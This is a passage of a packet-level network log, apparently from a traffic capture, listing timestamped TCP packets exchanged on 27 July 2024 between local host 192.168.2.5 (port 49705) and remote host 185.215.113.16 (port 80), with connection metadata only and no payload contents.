Jul 27, 2024 09:25:11.730711937 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.730746031 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.730761051 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.730787992 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.731404066 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.731455088 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.731455088 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.731489897 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.731496096 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.731522083 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.731533051 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.731559038 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.731566906 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.731605053 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.732274055 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.732306957 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.732322931 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.732340097 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.732346058 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.732379913 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.732418060 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.732450962 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.732464075 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.732500076 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.733181000 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.733212948 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.733244896 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.733252048 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.733266115 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.733298063 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.733309984 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.733333111 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.733342886 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.733376980 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.734066010 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.734098911 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.734114885 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.734133959 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.734138966 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.734165907 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.734172106 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.734210014 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.820591927 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.820646048 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.820652008 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.820686102 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.820686102 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.820730925 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.876502991 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.876573086 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.876738071 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.876796007 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.876806021 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.876832008 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.876847982 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.876872063 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.876893044 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.876938105 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.876944065 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.876976967 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.876986027 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.877012014 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.877017975 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.877046108 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.877051115 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.877079010 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.877090931 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.877120972 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.877130032 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.877163887 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.877172947 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.877196074 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.877201080 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.877229929 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.877237082 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.877262115 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.877278090 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.877295017 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.877302885 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.877327919 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.877335072 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.877362967 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.877365112 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.877403021 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.877599001 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.877630949 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.877641916 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.877665997 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.877675056 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.877701044 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.877706051 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.877741098 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.877859116 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.877897978 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.877981901 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.878025055 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.878124952 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.878174067 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.878175020 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.878209114 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.878215075 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.878241062 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.878253937 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.878292084 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.878292084 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.878323078 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.878334045 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.878357887 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.878365040 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.878386021 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.878406048 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.878437042 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.878670931 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.878722906 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.878722906 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.878757000 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.878765106 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.878801107 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.878823042 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.878855944 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.878871918 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.878890038 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.878895998 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.878937006 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.878953934 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.878985882 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.879000902 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.879019022 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.879029036 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.879053116 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.879069090 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.879096985 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.880088091 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.880150080 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.880156040 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.880192041 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.880199909 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.880225897 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.880239010 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.880260944 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.880276918 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.880294085 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.880300045 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.880327940 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.880337954 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.880361080 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.880373955 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.880394936 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.880408049 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.880429983 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.880435944 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.880470991 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.880630970 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.880686045 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.880687952 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.880719900 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.880727053 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.880765915 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.880770922 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.880804062 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.880816936 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.880837917 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.880851030 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.880877972 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.880916119 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.880948067 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.880961895 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.880980015 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.880990982 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.881015062 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.881026983 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.881061077 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.881694078 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.881745100 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.881751060 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.881779909 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.881788015 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.881812096 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.881822109 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.881844997 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.881861925 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.881877899 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.881886959 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.881911039 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.881921053 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.881943941 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.881957054 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.881978035 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.881994009 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.882010937 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.882019997 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.882052898 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.912188053 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.912229061 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.912245035 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.912249088 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.912262917 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.912271023 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.912277937 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.912277937 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.912292957 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.912321091 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.968919039 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.968943119 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.968971014 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.968986034 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.968997002 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.969002008 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.969017029 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.969017029 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.969033003 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.969048023 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.969048977 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.969063044 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.969074965 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.969090939 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.969091892 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.969106913 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.969118118 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.969121933 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.969139099 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.969145060 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.969166040 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.969187975 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.969400883 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.969425917 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.969441891 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.969449043 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.969458103 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.969474077 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.969502926 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.969508886 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.969520092 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.969561100 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.025542974 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.025613070 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.025665998 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.025697947 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.025732040 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.025765896 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.025806904 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.025806904 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.025806904 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.025816917 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.025849104 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.025856018 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.025856018 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.025883913 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.025892973 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.025916100 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.025926113 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.025954008 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.025959969 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.025988102 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.025999069 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.026031017 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.026037931 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.026082039 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.026087046 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.026119947 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.026129007 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.026151896 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.026160955 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.026185036 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.026195049 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.026230097 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.026236057 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.026271105 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.026278973 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.026312113 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.026319027 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.026354074 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.026360989 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.026385069 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.026396990 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.026418924 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.026427031 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.026453018 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.026463032 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.026494026 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.026503086 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.026534081 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.026542902 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.026587009 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.026595116 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.026627064 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.026635885 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.026660919 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.026669979 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.026695967 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.026705980 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.026731014 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.026740074 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.026773930 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.026783943 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.026818037 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.026825905 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.026858091 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.026868105 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.026900053 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.026909113 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.026933908 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.026941061 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.026976109 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.027034044 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.027066946 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.027076960 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.027100086 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.027108908 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.027132988 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.027142048 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.027173996 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.027182102 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.027214050 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.027223110 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.027246952 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.027255058 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.027280092 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.027287960 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.027321100 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.027507067 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.027548075 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.027556896 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.027589083 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.027599096 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.027630091 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.027693033 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.027725935 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.027735949 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.027757883 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.027766943 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.027791023 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.027800083 CEST	49705	80	192.168.2.5	185.215.113.16
